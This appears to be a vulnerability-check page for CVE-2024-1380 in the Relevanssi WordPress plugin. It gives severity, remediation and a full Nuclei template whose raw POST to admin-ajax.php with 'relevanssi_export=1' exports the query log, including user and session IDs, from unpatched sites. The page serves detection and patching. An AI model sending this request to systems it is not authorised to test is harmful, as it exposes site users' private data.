CVE-2024-1380· relevanssi / relevanssi
Relevanssi (A Better Search) <= 4.22.0 - Query Log Export
mediumseverity
5.3CVSS score
50.2%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
The Relevanssi Search plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check in all versions up to, and including, 4.22.0. This makes it possible for unauthenticated attackers to export the query log data.
Impact
Unauthenticated attackers can export query log data containing search terms and potentially sensitive user information.
Fix
Update Relevanssi plugin to version 4.22.1 or later.
How to confirm it
Send: POST /wp-admin/admin-ajax.php
Positive when: status_code == 200 and contains_all(header, "filename=relevanssi_log.csv", "application/download") and contains_all(body, "user_id", "session_id")Run it with nuclei: nuclei -id CVE-2024-1380 -u <target>
The full check
id: CVE-2024-1380
info:
name: Relevanssi (A Better Search) <= 4.22.0 - Query Log Export
author: FLX
severity: medium
description: |
The Relevanssi Search plugin for WordPress is vulnerable to unauthorized access of data due to a missing capability check in all versions up to, and including, 4.22.0. This makes it possible for unauthenticated attackers to export the query log data.
impact: |
Unauthenticated attackers can export query log data containing search terms and potentially sensitive user information.
remediation: |
Update Relevanssi plugin to version 4.22.1 or later.
reference:
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3033880%40relevanssi&new=3033880%40relevanssi&sfp_email=&sfph_mail=
- https://www.wordfence.com/threat-intel/vulnerabilities/id/7b2a3b17-0551-4e02-8e6a-ae8d46da0ef8?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-1380
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
cvss-score: 5.3
cve-id: CVE-2024-1380
epss-score: 0.50192
epss-percentile: 0.98916
cpe: cpe:2.3:a:relevanssi:relevanssi:*:*:*:*:wordpress:*:*:*
metadata:
verified: true
max-request: 1
fofa-query: "/wp-content/plugins/relevanssi/"
product: relevanssi
vendor: relevanssi
tags: cve,cve2024,wp,wordpress,wp-plugin,relevanssi,exposure,vuln
http:
- raw:
- |
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
action=&relevanssi_export=1
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_all(header, "filename=relevanssi_log.csv", "application/download")'
- 'contains_all(body, "user_id", "session_id")'
condition: andReferences
- https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3033880%40relevanssi&new=3033880%40relevanssi&sfp_email=&sfph_mail=
- https://www.wordfence.com/threat-intel/vulnerabilities/id/7b2a3b17-0551-4e02-8e6a-ae8d46da0ef8?source=cve
- https://nvd.nist.gov/vuln/detail/CVE-2024-1380
Use this check only on systems you are authorised to test. Where the data comes from